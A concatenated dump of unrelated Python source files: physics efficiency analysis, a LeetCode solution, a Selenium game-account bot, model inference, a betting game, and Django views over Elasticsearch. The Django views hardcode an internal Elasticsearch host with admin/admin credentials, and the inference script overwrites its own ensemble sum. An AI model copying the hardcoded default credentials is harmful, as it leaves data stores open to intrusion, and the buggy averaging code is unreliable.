counter + 1\n\n centrality = ev.REvent.fCent\n\n c_lab = ''\n\n if centrality <= 10.:\n c_lab = '{}'.format(label_centrality[0])\n\n elif centrality <= 30.:\n c_lab = '{}'.format(label_centrality[1])\n\n elif centrality <= 50.:\n c_lab = '{}'.format(label_centrality[2])\n\n elif centrality <= 90.:\n c_lab = '{}'.format(label_centrality[3])\n\n if centrality > 90.:\n continue\n\n # loop over the simulated hypertritons\n for sim in ev.SHypertriton:\n charge = sim.fPdgCode > 0\n\n hyp = TLorentzVector()\n deu = TLorentzVector()\n p = TLorentzVector()\n pi = TLorentzVector()\n\n e_deu = hypot4(sim.fPxDeu, sim.fPyDeu, sim.fPzDeu, AliPID.ParticleMass(AliPID.kDeuteron))\n e_p = hypot4(sim.fPxP, sim.fPyP, sim.fPzP, AliPID.ParticleMass(AliPID.kProton))\n e_pi = hypot4(sim.fPxPi, sim.fPyPi, sim.fPzPi, AliPID.ParticleMass(AliPID.kPion))\n\n deu.SetPxPyPzE(sim.fPxDeu, sim.fPyDeu, sim.fPzDeu, e_deu)\n p.SetPxPyPzE(sim.fPxP, sim.fPyP, sim.fPzP, e_p)\n pi.SetPxPyPzE(sim.fPxPi, sim.fPyPi, sim.fPzPi, e_pi)\n\n hyp = deu + p + pi\n\n label = '{}_'.format(label_am[charge]) + c_lab\n hist_sim[label].Fill(hyp.Pt())\n\n # loop over the reconstructed hypertritons\n for rec in ev.RHypertriton:\n hyp = TLorentzVector()\n deu = TLorentzVector()\n p = TLorentzVector()\n pi = TLorentzVector()\n\n e_deu = hypot4(rec.fPxDeu, rec.fPyDeu, rec.fPzDeu, AliPID.ParticleMass(AliPID.kDeuteron))\n e_p = hypot4(rec.fPxP, rec.fPyP, rec.fPzP, AliPID.ParticleMass(AliPID.kProton))\n e_pi = hypot4(rec.fPxPi, rec.fPyPi, rec.fPzPi, AliPID.ParticleMass(AliPID.kPion))\n\n deu.SetPxPyPzE(rec.fPxDeu, rec.fPyDeu, rec.fPzDeu, e_deu)\n p.SetPxPyPzE(rec.fPxP, rec.fPyP, rec.fPzP, e_p)\n pi.SetPxPyPzE(rec.fPxPi, rec.fPyPi, rec.fPzPi, e_pi)\n\n hyp = deu + p + pi\n\n label = '{}_'.format(label_am[rec.fIsMatter]) + c_lab\n hist_rec[label].Fill(hyp.Pt())\n\n analyzed_events += 1\n update_progress(analyzed_events/n_events)\n\ninput_file.Close()\n\n# create output file\nhome_path = os.environ['HOME']\noutput_file_path = home_path + '/HypertritonAnalysis/PreselEfficiency/3Body'\noutput_file_name = 'PreselectionEfficiencyHist.root'\n\noutput_file = TFile('{}/{}'.format(output_file_path, output_file_name), 'recreate')\noutput_file_txt = open('eff.txt', 'w')\n\n# dictionary to manage histos\ndict_hist_eff = {}\n\n# compute efficiency\nfor lab in label_array:\n hist_eff = TH1D('fHistEfficiency_{}'.format(lab), '', n_bins, 0, 10)\n hist_eff.SetDirectory(0)\n\n output_file_txt.write('-- efficiency {} -- \\n'.format(lab))\n\n for b in range(1, n_bins+1):\n count_sim = hist_sim[lab].Integral(b, b)\n count_rec = hist_rec[lab].Integral(b, b)\n\n eff = count_rec / count_sim\n err_eff = eff * (1 - eff) / count_sim\n\n hist_eff.SetBinContent(b, eff)\n hist_eff.SetBinError(b, err_eff)\n\n pt_bin = [(b - 1) * pt_bin_width, b * pt_bin_width]\n\n output_file_txt.write('{:.1f} - {:.1f} {:.4f} +- {:.4f} \\n'.format(pt_bin[0], pt_bin[1], eff, err_eff))\n\n output_file_txt.write('\\n')\n\n prp.histo_makeup(hist_eff, x_title='#it{p}_{T} (GeV/#it{c} )',\n y_title='Efficiency #times Acceptance', color=prp.kRedC, y_range=(-0.01, 0.41), l_width=3)\n hist_eff.Write()\n\noutput_file.Close()\noutput_file_txt.close()\n\nos.system('mv eff.txt {}/eff.txt'.format(output_file_path))\n","sub_path":"3body/PreselectionEfficiency/preselection_efficiency_3body.py","file_name":"preselection_efficiency_3body.py","file_ext":"py","file_size_in_byte":5597,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"576196648","text":"\"\"\"\n\nhttps://leetcode.com/problems/rotate-image/\n\"\"\"\n\ndef rotate(self, matrix) -> None:\n \"\"\"\n Do not return anything, modify matrix in-place instead.\n \"\"\"\n for i in range(len(matrix)):\n # print(\"i\", matrix[i], i, self.show(matrix))\n for j in range(i, len(matrix)):\n # print(\"j\", j, \"item\", matrix[i], matrix[i][j], matrix[j][i])\n matrix[i][j], matrix[j][i] = matrix[j][i], matrix[i][j]\n # print(\"transpose\", matrix)\n\n for i in range(len(matrix)):\n matrix[i] = list(reversed(matrix[i]))\n\n\ndef show(self, matrix):\n string = \"\"\n for i in range(len(matrix)):\n string += \"\\n\"\n for j in range(len(matrix)):\n string += f\"{matrix[i][j]} \"\n return string","sub_path":"arrays/rotate_matrix.py","file_name":"rotate_matrix.py","file_ext":"py","file_size_in_byte":740,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"536075213","text":"from selenium import webdriver\r\nfrom selenium.webdriver.common.by import By\r\nfrom selenium.webdriver.common.keys import Keys\r\nfrom selenium.webdriver.support.expected_conditions import presence_of_element_located \r\nfrom selenium.common.exceptions import *\r\nimport json, subprocess\r\nfrom data.account import *\r\nfrom data.login import *\r\nfrom data.bank import *\r\nfrom data.anchor_management import *\r\n\r\n\r\nneo_accounts_filepath = r'C:\\Users\\kelse\\Documents\\NeoLogins.json'\r\nnord_vpn_exe = r'C:\\Program Files\\NordVPN\\NordVPN.exe'\r\n\r\ndef read_acct_info_from_json_file(file):\r\n \"\"\"Opens JSON file with login information and returns info in dictionary list.\"\"\"\r\n\r\n accts = []\r\n acct_file = open(file,) # open json file\r\n acct_data = json.load(acct_file) # put file contents into JSON variable\r\n\r\n for i in acct_data[\"accounts\"]: # put into list of accounts\r\n accts.append(i)\r\n\r\n acct_file.close() # close file\r\n return accts\r\n\r\ndef Run_dailies(Account):\r\n # Bank\r\n print('Running Bank Daily')\r\n bank = Bank()\r\n bank.collect_interest()\r\n\r\n # Bank\r\n print('Running Anchor Management')\r\n anchor_management = Anchor_Management()\r\n bank.collect_interest()\r\n\r\n\r\n\r\n# main() #########################################################################################\r\n##################################################################################################\r\n# bring in list of accounts + info\r\naccts = read_acct_info_from_json_file(neo_accounts_filepath)\r\n\r\n# Iterate over accounts\r\nfor i in accts:\r\n neo_acct = Account(i[\"username\"], i[\"password\"], i[\"state\"])\r\n\r\n\r\n # Log in to account\r\n login_pg = Login(neo_acct) # Nav to page\r\n login_pg.login_to_site() # login to account\r\n\r\n neo_acct.set_driver(login_pg.driver) # Set account driver to curr driver being used by LoginPg\r\n curr_neopoints = neo_acct.get_curr_neopoints()\r\n print('Starting off the day with ' + str(curr_neopoints))\r\n\r\n # Run Dailies\r\n Run_dailies(neo_acct)\r\n # flag account as having dailies complete account r\r\n\r\n\r\n\r\n\r\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2125,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"556114106","text":"N = int(input())\narticles = []\nfor i in range(N):\n text = input().split()\n articles.append(text[1:])\nM = int(input())\nans = []\nfor i in range(M):\n words = input()\n res = []\n for j in range(0, len(articles)):\n try:\n ind = articles[j].index(words)\n res.append(j+1)\n except Exception:\n pass\n ans.append(res)\nfor i in ans:\n if len(i) == 0:\n print(' ')\n else:\n for j in i:\n print(j, end=' ')\n print()\n","sub_path":"Code/CodeRecords/2446/58758/271807.py","file_name":"271807.py","file_ext":"py","file_size_in_byte":499,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"407006799","text":"#!python\n# -*- coding: utf-8 -*-#\n###########################################################################\n# Author : Bhishan Poudel; Physics Graduate Student, Ohio University\n# Date :\n# Last update :\n###########################################################################\n\"\"\"\n:Topic: Polynomial Linear Regression. (Polynomial in X and linear in w)\n\n` `_\n\"\"\"\n# Imports\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy import optimize\nfrom numpy.linalg import inv,norm,lstsq\n\ndef create_data():\n np.random.seed(0)\n f = np.poly1d([5, 1])\n\n x = np.linspace(0, 10, 30)\n y = f(x) + 6*np.random.normal(size=len(x))\n xn = np.linspace(0, 10, 200)\n\n # plt.plot(x, y, 'or')\n # plt.show()\n\n return x,y,xn\n\ndef fitting(x,y):\n a = np.vstack([x, np.ones(len(x))]).T\n w = inv(a.T @ a) @ (a.T @ y)\n print(\"w = \", w)\n\n # fitting using lstsq\n w = lstsq(a,y)[0]\n print(\"w = \", w)\n\n # fitting using np.polyfit\n w = np.polyfit(x,y,1)\n print('w = ', w)\n\n\n return w\n\ndef plot_fit(x,y):\n m, c = np.polyfit(x, y, 1)\n yn = np.polyval([m, c], xn)\n\n plt.plot(x, y, 'or')\n plt.plot(xn, yn)\n plt.show()\n\n\n\ndef main():\n \"\"\"Run main function.\"\"\"\n x,y,xn = create_data()\n fitting(x,y)\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"Machine_Learning_Univ_Course_(2017Fall)/Extra_hw/Extra_hw01/polynomial_fitting/polynomial_linear_regr.py","file_name":"polynomial_linear_regr.py","file_ext":"py","file_size_in_byte":1358,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"334268249","text":"import os\nimport torch\nimport random\nimport argparse\nimport numpy as np\nimport pandas as pd\nimport albumentations as A\n\nfrom tqdm import tqdm\nfrom src.models import *\nfrom src.configs.config import InferConfig\nfrom src.dataset import BoostcampTestDataset, BoostcampTTATestDataset, prepare\n\nimport torch.nn.functional as F\nfrom torch.utils.data import DataLoader\n\n\ndef seed_everything(seed=2021):\n random.seed(seed)\n np.random.seed(seed)\n os.environ[\"PYTHONHASHSEED\"] = str(seed)\n torch.manual_seed(seed)\n torch.cuda.manual_seed(seed)\n torch.backends.cudnn.deterministic = True\n torch.backends.cudnn.benchmark = False\n \n import imgaug\n imgaug.random.seed(seed)\n\n\n\ndef main():\n parser = argparse.ArgumentParser(description='Arguments')\n parser.add_argument('--seed', default=43, type=int, help='Reproduction Seed')\n parser.add_argument('--batch_size', default=16, type=int)\n parser.add_argument('--postfix', required=True)\n parser.add_argument('--model_type', required=True)\n parser.add_argument('--tta', default=0, type=int)\n \n \n args = parser.parse_args() \n seed_everything(args.seed)\n \n cfg = InferConfig(args)\n tta_infer = True if args.tta == 1 else False\n if tta_infer:\n print(\"TTA Inference\")\n tta_tfms = [\n # A.CLAHE(clip_limit=2.0, p=1.0), --> 넣어도 같은 결과나옴\n A.HorizontalFlip(p=1.0),\n ]\n else:\n tta_tfms = None\n\n infer_tfms = cfg.infer_tfms\n infer_df = prepare(cfg, train=False)\n if tta_infer: infer_ds = BoostcampTTATestDataset(cfg, infer_df, infer_tfms, tta_tfms)\n else: infer_ds = BoostcampTestDataset(cfg, infer_df, infer_tfms)\n infer_dl = DataLoader(\n infer_ds,\n batch_size=args.batch_size,\n shuffle=False,\n num_workers=3,\n pin_memory=True\n )\n\n\n models = []\n for i in range(len(cfg.ckpts)):\n model = Net(cfg)\n model = model.to(cfg.device)\n save_dict = torch.load(cfg.ckpts[i])\n print(f\"Epoch: {save_dict['epoch']}\")\n print(f\"Loss : {save_dict['loss']}\")\n state_dict = save_dict[\"state_dict\"]\n model.load_state_dict(state_dict)\n models.append(model)\n\n print(f\"Total {len(models)} models loaded.\")\n\n if tta_infer:\n predictions = []\n with torch.no_grad():\n for sample in tqdm(infer_dl, total=len(infer_dl)):\n images = sample['image']\n \n pred = 0\n for image in images:\n for model in models:\n model.eval()\n pred = model(image.to(cfg.device))\n pred += F.log_softmax(pred, dim=-1)\n \n _, pred = torch.max(pred/(len(models)), -1)\n predictions.extend(pred.detach().cpu().numpy()) \n \n else: \n predictions = []\n with torch.no_grad():\n for sample in tqdm(infer_dl, total=len(infer_dl)):\n images = sample['image'].to(cfg.device)\n \n pred = 0\n for model in models:\n model.eval()\n pred = model(images)\n pred += F.log_softmax(pred, dim=-1)\n \n _, pred = torch.max(pred/(len(models)), -1)\n predictions.extend(pred.detach().cpu().numpy())\n \n submission = pd.read_csv(cfg.meta_dir)\n submission['ans'] = predictions\n submission.to_csv(cfg.submission_dir, index=False)\n \n print(\"Inference Done.\")\n \n \nif __name__ == \"__main__\":\n main()","sub_path":"infer.py","file_name":"infer.py","file_ext":"py","file_size_in_byte":3653,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"647694950","text":"\"\"\" Provides ease of use pickling and user registration to a db file. Mostly useful\nfrom the command line. \"\"\"\nimport argparse\nimport os\n\ntry:\n from . import core\n from . import data\n from .log import logger\nexcept SystemError:\n import core\n import data\n from log import logger\n\nl = core.Loader()\n\n\ndef register_user(db, name, ident):\n \"\"\" Adds a new `data.Person` object to `db`. \"\"\"\n if db is not None:\n logger.info('Registering user')\n db.add_person(data.Person(name, ident))\n else:\n logger.info('Registering user and creating db.pkl')\n db = data.Database().add_person(data.Person(name, ident))\n\n logger.info('Saving DB')\n l.dump(db)\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(\"\"\"\n This script registers new users to the database object. See\n docs/developers/Database.md for object details. \"\"\")\n\n parser.add_argument('name', help='The name of the maker')\n parser.add_argument('ident', help='The maker\\'s network identifier')\n\n parsed = parser.parse_args()\n\n if os.access(core.DB_PATH, os.F_OK):\n register_user(l.load(), parsed.name, parsed.ident)\n else:\n register_user(data.Database(), parsed.name, parsed.ident)\n","sub_path":"register.py","file_name":"register.py","file_ext":"py","file_size_in_byte":1236,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"44595590","text":"import sympy as sp\nfrom core.st import *\nfrom core.model import *\n\n\nclass TeX():\n def __init__(self):\n self.tex = ''\n\n def add(self, s):\n self.tex = self.tex + s + '


\\n\\n'\n\n\ndef script(form):\n function = form['function']\n extremum = form['extremum']\n lefts = []\n signs = []\n rights = []\n N = (len(list(form.keys())) - 7) // 3\n for i in range(N):\n lefts.append(form['left' + str(i + 1)])\n signs.append(form['sign' + str(i + 1)])\n rights.append(form['right' + str(i + 1)])\n\n if form['type'] == 'LP':\n model = LPModel(function, extremum)\n if form['type'] == 'PP':\n model = LPModel(function, extremum)\n model.type = 'PP'\n if form['type'] == 'QP':\n model = QPModel(function, extremum)\n if form['type'] == 'SP':\n model = SPModel(function, extremum)\n\n for i in range(N):\n model.add_condition(lefts[i], signs[i], rights[i])\n\n if form['type'] == 'SP':\n return SPscript(model, form['a'], form['b'], form['count'])\n if form['type'] == 'LP':\n return LPscript(model)\n if form['type'] == 'QP':\n return QPscript(model)\n if form['type'] == 'PP':\n return PPscript(model, form['t0'])\n\n\ndef LPscript(model):\n tex = TeX()\n tex.add(model.latex())\n tex.add('Приведем задачу к каноническому виду')\n model.canonical('x')\n tex.add(model.latex())\n\n st = SimplexTable(model)\n symbols, coeff = st.solve()\n for i in range(len(st.tex.st)):\n tex.add(st.tex.st[i])\n v, latex = model.evalf(symbols, coeff)\n tex.add(latex)\n return tex.tex\n\n\ndef PPscript(model, t0):\n tex = TeX()\n tex.add(model.latex())\n tex.add('Приведем задачу к каноническому виду')\n model.canonical('x')\n tex.add(model.latex())\n st = SimplexTablePP(model, t0)\n st.solve()\n for i in range(len(st.tex.st)):\n tex.add(st.tex.st[i])\n return tex.tex\n\n\ndef QPscript(model):\n tex = TeX()\n tex.add(model.latex())\n model.get_L()\n tex.add(model.L.latex_L())\n tex.add(model.L.latex_diff())\n model.changing_conditions()\n tex.add(model.latex())\n matrix = model.to_basis()\n model.additional_conditions()\n tex.add(model.latex())\n \n tex.add('I способ.')\n tex.add('')\n st = SimplexTableQP(model)\n tex.add(st.latex())\n s, v = st.solve()\n for i in range(len(st.tex.st)):\n tex.add(st.tex.st[i])\n fs, latex = model.evalf(s, v)\n\n tex.add(latex)\n tex.add('II способ.')\n tex.add('')\n s, v, h = model.solve()\n tex.add(h)\n symbols, coeff = st.solve()\n v, latex = model.evalf(s, v)\n tex.add(latex)\n return tex.tex\n\n\ndef SPscript(model, a, b, count):\n tex = TeX()\n tex.add(model.latex())\n model.linearization(a=sp.Rational(a), b=sp.Rational(b), count=int(count))\n tex.add(model.latex_separated_functions())\n tex.add(model.latex_table())\n tex.add(model.latex_new_f())\n tex.add(model.latex_new_x())\n tex.add(\n 'Используя полученные представления, выполним переход от исходной к следующей приближенной задаче'\n )\n tex.add(model.latex())\n tex.add(\n 'Для решения полученной приближенной задачи симплекс-методом представим ее в канонической форме.'\n )\n model.canonical('x')\n tex.add(model.latex())\n st = SimplexTable(model)\n symbols, coeff = st.solve()\n for i in range(len(st.tex.st)):\n tex.add(st.tex.st[i])\n v, latex = model.evalf(symbols, coeff)\n tex.add(latex)\n return tex.tex","sub_path":"MathematicalProgramming/scripts.py","file_name":"scripts.py","file_ext":"py","file_size_in_byte":3738,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"170874065","text":"import random\nfrom abc import ABCMeta, abstractmethod\nfrom typing import Dict\nfrom enum import Enum\n\n\nclass Card(Enum):\n RED = \"RED\"\n BLACK = \"BLACK\"\n\n\nclass Action(Enum):\n PASS = \"PASS\"\n CHANGE = \"CHANGE\"\n\n\nclass Player(object):\n __metaclass__ = ABCMeta\n\n @property\n @abstractmethod\n def name(self) -> str:\n raise NotImplementedError()\n\n @abstractmethod\n def take_card(self, card: Card) -> None:\n raise NotImplementedError()\n\n @abstractmethod\n def say_card(self) -> Card:\n raise NotImplementedError()\n\n @abstractmethod\n def opponent_said_card(self, card: Card) -> None:\n raise NotImplementedError()\n\n @abstractmethod\n def would_change_card(self) -> bool:\n raise NotImplementedError()\n\n @abstractmethod\n def opponent_change_card(self, is_changed: bool) -> None:\n raise NotImplementedError()\n\n @abstractmethod\n def end_round(self) -> None:\n raise NotImplementedError()\n\n @abstractmethod\n def opponent_card(self, card) -> None:\n raise NotImplementedError()\n\n @abstractmethod\n def win(self, value) -> None:\n raise NotImplementedError()\n\n\nclass GameRound(object):\n CARDS = [Card.RED, Card.RED, Card.BLACK, Card.BLACK]\n\n def info(self, message):\n if self.debug:\n print(message)\n else:\n pass\n\n def __init__(self, player1: Player, money1: int, player2: Player, money2: int, debug: bool = False):\n assert money1 >= 10, money1\n assert money2 >= 10, money2\n self.player1 = player1\n self.player2 = player2\n self.starting_money = {player1: money1, player2: money2}\n self.current_money = {player1: money1, player2: money2}\n self.bank: int = 0\n self.debug = debug\n\n card1, card2 = random.sample(self.CARDS, 2)\n self.cards: Dict[Player, Card] = {self.player1: card1, self.player2: card2}\n self.player1.take_card(card1)\n self.info(\"%s got card %s\" % (self.player1.name, card1.name))\n self.player2.take_card(card2)\n self.info(\"%s got card %s\" % (self.player2.name, card2.name))\n\n self.bank += 20\n self.current_money[self.player1] -= 10\n self.current_money[self.player2] -= 10\n # noinspection PyDictCreation\n self.bids: Dict[Player, Card] = {}\n\n self.bids[self.player1] = self.player1.say_card()\n self.player2.opponent_said_card(self.bids[self.player1])\n self.bids[self.player2] = self.player2.say_card()\n self.player1.opponent_said_card(self.bids[self.player2])\n\n self.info(\"%s made first bid %s. Its money: %s. Bank: %s\" % (self.player1.name, self.bids[player1].name,\n self.current_money[player1],\n self.bank))\n self.info(\"%s made first bid %s. Its money: %s. Bank: %s\" % (self.player2.name, self.bids[player2].name,\n self.current_money[player2],\n self.bank))\n\n def play(self) -> (int, int):\n value1, value2 = self._run_game(self.player1, self.player2)\n\n self.player1.win(value1)\n self.player2.win(value2)\n\n self.player1.end_round()\n self.player2.end_round()\n\n return value1, value2\n\n def _run_game(self, player1: Player, player2: Player):\n action = self._make_action(player1, player2)\n\n if action == Action.PASS:\n self._make_action(player2, player1)\n\n player1.opponent_card(self.cards[player2])\n player2.opponent_card(self.cards[player1])\n\n return self._resolve()\n else:\n return self._run_game(player2, player1)\n\n def _make_action(self, player: Player, opponent: Player) -> Action:\n if self.current_money[player] < 10:\n player_action = Action.PASS\n else:\n player_action = Action.CHANGE if player.would_change_card() else Action.PASS\n opponent.opponent_change_card(player_action == Action.CHANGE)\n if player_action == Action.CHANGE:\n self.current_money[player] -= 10\n self.bank += 10\n self.bids[player] = Card.RED if self.bids[player] == Card.BLACK else Card.BLACK\n\n if player_action != Action.PASS:\n self.info(\"%s made action %s. Its bid now %s. Its money: %s. Bank: %s\" % (player.name,\n player_action.name,\n self.bids[player].name,\n self.current_money[player],\n self.bank))\n return player_action\n\n def _resolve(self) -> (int, int):\n p1_correct = self.bids[self.player1] == self.cards[self.player2]\n p2_correct = self.bids[self.player2] == self.cards[self.player1]\n self.info(\"%s had %s and %s had %s\" % (self.player1.name, self.cards[self.player1].name,\n self.player2.name, self.cards[self.player2].name))\n if p1_correct and p2_correct:\n value = self.bank / 2\n p1_value = self.current_money[self.player1] + value - self.starting_money[self.player1]\n p2_value = self.current_money[self.player2] + value - self.starting_money[self.player2]\n assert p1_value + p2_value == 0.0, (p1_value, p2_value)\n self.info(\"Both player guessed right\")\n elif p1_correct and not p2_correct:\n self.info(\"%s guessed right and %s guessed wrong\" % (self.player1.name, self.player2.name))\n p1_value = self.current_money[self.player1] + self.bank - self.starting_money[self.player1]\n p2_value = self.current_money[self.player2] - self.starting_money[self.player2]\n elif not p1_correct and p2_correct:\n self.info(\"%s guessed right and %s guessed wrong\" % (self.player2.name, self.player1.name))\n p1_value = self.current_money[self.player1] - self.starting_money[self.player1]\n p2_value = self.current_money[self.player2] + self.bank - self.starting_money[self.player2]\n else:\n self.info(\"Both player guessed wrong\")\n p1_value, p2_value = 0.0, 0.0\n assert p1_value + p2_value == 0.0, (p1_value, p2_value)\n return p1_value, p2_value\n\n\nclass Game(object):\n def __init__(self, player1: Player, money1: int, player2: Player, money2: int, rounds: int, debug: bool = False):\n self.player1 = player1\n self.player2 = player2\n self.current_money = {player1: money1, player2: money2}\n self.rounds = rounds\n self.debug = debug\n\n def info(self, message):\n if self.debug:\n print(message)\n else:\n pass\n\n def run(self) -> Player:\n self.info(\"-------------\\nGame start\\n-------------\\n\")\n for i in range(self.rounds):\n self.info(\"Round %s\\n\" % i)\n if i % 2 == 0:\n first_player, second_player = self.player1, self.player2\n else:\n first_player, second_player = self.player2, self.player1\n self.info(\"Before round %s %s have %s and %s have %s\" % (i + 1,\n self.player1.name,\n self.current_money[self.player1],\n self.player2.name,\n self.current_money[self.player2]))\n gameround = GameRound(first_player, self.current_money[first_player],\n second_player, self.current_money[second_player], self.debug)\n value1, value2 = gameround.play()\n self.info(\"%s won %s and %s won %s\" % (first_player.name, value1, second_player.name, value2))\n self.current_money[first_player] += value1\n assert self.current_money[first_player] >= 0\n self.current_money[second_player] += value2\n assert self.current_money[second_player] >= 0\n self.info(\"After %s rounds %s got %s and %s got %s\\n\" % (i + 1,\n self.player1.name,\n self.current_money[self.player1],\n self.player2.name,\n self.current_money[self.player2]))\n if self.current_money[self.player1] < 10:\n self.info(\"Game result:\\n\")\n self.info(\"After %s rounds player %s run out of money AND TOTALLY LOST\\n\" % (i + 1, self.player1.name))\n return self.player2\n if self.current_money[self.player2] < 10:\n self.info(\"Game result:\\n\")\n self.info(\"After %s rounds player %s run out of money AND TOTALLY LOST\\n\" % (i + 1, self.player2.name))\n return self.player1\n","sub_path":"casino.py","file_name":"casino.py","file_ext":"py","file_size_in_byte":9446,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"31691981","text":"import re\n\nfrom invoke import task\n\nfrom optimade import __version__\n\n\n@task\ndef setver(_, patch=False, new_ver=\"\"):\n if (not patch and not new_ver) or (patch and new_ver):\n raise Exception(\n \"Either use --patch or specify e.g. --new-ver='Major.Minor.Patch(a|b|rc)?[0-9]+'\"\n )\n if patch:\n v = [int(x) for x in __version__.split(\".\")]\n v[2] += 1\n new_ver = \".\".join(map(str, v))\n with open(\"optimade/__init__.py\", \"r\") as f:\n lines = [\n re.sub(\"__version__ = .+\", '__version__ = \"{}\"'.format(new_ver), l.rstrip())\n for l in f\n ]\n with open(\"optimade/__init__.py\", \"w\") as f:\n f.write(\"\\n\".join(lines))\n f.write(\"\\n\")\n\n with open(\"setup.py\", \"r\") as f:\n lines = [\n re.sub(\"version=([^,]+),\", 'version=\"{}\",'.format(new_ver), l.rstrip())\n for l in f\n ]\n with open(\"setup.py\", \"w\") as f:\n f.write(\"\\n\".join(lines))\n f.write(\"\\n\")\n\n print(\"Bumped version to {}\".format(new_ver))\n\n\n@task\ndef update_openapijson(c):\n # pylint: disable=import-outside-toplevel\n from optimade.server.main import app, update_schema\n from optimade.server.main_index import (\n app as app_index,\n update_schema as update_schema_index,\n )\n\n update_schema(app)\n update_schema_index(app_index)\n\n c.run(\"cp openapi/local_openapi.json openapi/openapi.json\")\n c.run(\"cp openapi/local_index_openapi.json openapi/index_openapi.json\")\n\n\n@task\ndef set_optimade_ver(_, ver=\"\"):\n if not ver:\n raise Exception(\"Please specify --ver='Major.Minor.Patch'\")\n with open(\"optimade/__init__.py\", \"r\") as f:\n lines = [\n re.sub(\n \"__api_version__ = .+\", '__api_version__ = \"{}\"'.format(ver), l.rstrip()\n )\n for l in f\n ]\n with open(\"optimade/__init__.py\", \"w\") as f:\n f.write(\"\\n\".join(lines))\n f.write(\"\\n\")\n\n with open(\".ci/optimade-version.json\", \"r\") as f:\n lines = [\n re.sub('\"message\": .+', '\"message\": \"v{}\",'.format(ver), l.rstrip())\n for l in f\n ]\n with open(\".ci/optimade-version.json\", \"w\") as f:\n f.write(\"\\n\".join(lines))\n f.write(\"\\n\")\n\n print(\"Bumped OPTiMaDe version to {}\".format(ver))\n","sub_path":"tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":2307,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"443213029","text":"import logging\nfrom datetime import datetime\n\nfrom django.core.paginator import Paginator\nfrom rest_framework import status\nfrom rest_framework.response import Response\nfrom rest_framework.views import APIView\nfrom .serializers import *\nfrom elasticsearch import Elasticsearch\nfrom .models import *\n\nes = Elasticsearch([{'host': '131.163.160.58', 'port': 9200}], http_auth=('admin', 'admin'))\nindex = \"discussion_cafe\"\ntype = \"Discussion\"\n\n\nclass GeneralDiscussionQuestion(APIView):\n try:\n def get(self, request, format=None):\n response = []\n for questions in es.search(index=index, body={\"query\":{\"match\":{\"Category\":\"General\"}}})[\"hits\"][\"hits\"]:\n data = {}\n data[\"Question\"] = questions[\"_source\"][\"Question\"]\n data[\"Answers\"] = questions[\"_source\"][\"Answers\"]\n data[\"pkid\"] = questions[\"_source\"][\"pkid\"]\n response.append(data)\n\n return Response(response)\n\n def post(self, request, *args, **kwargs):\n data = request.data\n data[\"Subject\"] = \"NULL\"\n data[\"Timestamp\"] = datetime.now()\n file_serializer = DiscussionForum_QuestionsSerializer(data=data)\n if file_serializer.is_valid():\n file_serializer.save()\n data[\"Answers\"] = []\n data[\"Category\"] = \"General\"\n data[\"pkid\"] = file_serializer.data[\"id\"]\n print(data)\n elasticdata = es.index(index=index, doc_type=type, body=data)\n return Response(data, status=status.HTTP_201_CREATED)\n else:\n return Response(file_serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n except Exception as e:\n logging.basicConfig(filename='GOImplement\\LogFile.txt', level=logging.DEBUG)\n logging.error(str(e))\n\n\nclass GeneralDiscussionAnswer(APIView):\n try:\n def post(self, request, *args, **kwargs):\n file_serializer = DiscussionForum_AnswersSerializer(data=request.data)\n if file_serializer.is_valid():\n file_serializer.save()\n questionid = \\\n es.search(index=index, body={\"query\": {\"match\": {\"pkid\": request.data[\"fkQuestion\"]}}})[\"hits\"][\"hits\"][\n 0][\"_id\"]\n ans = request.data[\"Answer\"]\n add_answer = {\n \"script\": {\"source\": \"ctx._source.Answers.add(params.new_ans)\", \"params\": {\"new_ans\": ans}}}\n elasticdata = es.update(index=index, doc_type=type, id=questionid, body=add_answer)\n return Response(elasticdata, status=status.HTTP_201_CREATED)\n else:\n return Response(file_serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n except Exception as e:\n logging.basicConfig(filename='GOImplement\\LogFile.txt', level=logging.DEBUG)\n logging.error(str(e))\n\n\nclass GetQuestionDetail(APIView):\n def get(self, request, pk, format=None):\n data = {}\n data[\"question\"] = \\\n es.search(index=index, body={\"query\": {\"match\": {\"pkid\": pk}}})[\"hits\"][\"hits\"][0][\"_source\"][\"Question\"]\n data[\"answer\"] = es.search(index=index, body={\"query\": {\"match\": {\"pkid\": pk}}})[\"hits\"][\"hits\"][0][\"_source\"][\n \"Answers\"]\n return Response(data)\n\n\nclass GetHighlightedResults(APIView):\n def get(self, request, format=None):\n # text = request.data[\"Text\"]\n text = request.GET.get('text')\n response = []\n if text == \"\" :\n for questions in es.search(index=index, body={\"size\": 10000, \"query\": {\"match_all\": {}}})[\"hits\"][\"hits\"]:\n data = {}\n data[\"Question\"] = questions[\"_source\"][\"Question\"]\n data[\"Answers\"] = questions[\"_source\"][\"Answers\"]\n data[\"pkid\"] = questions[\"_source\"][\"pkid\"]\n data[\"Timestamp\"] = questions[\"_source\"][\"Timestamp\"]\n data[\"Category\"] = questions[\"_source\"][\"Category\"]\n response.append(data)\n\n return Response(response)\n\n else:\n\n for question in es.search(index=index, doc_type=type, body={\"query\": {\"bool\": {\n \"must\": [{\"match_phrase_prefix\": {\"Question\": {\"query\": text, \"analyzer\": \"my_synonyms\"}}},\n ]}}, \"highlight\": {\"pre_tags\": [\"\"],\n \"post_tags\": [\"\"],\n \"fields\": 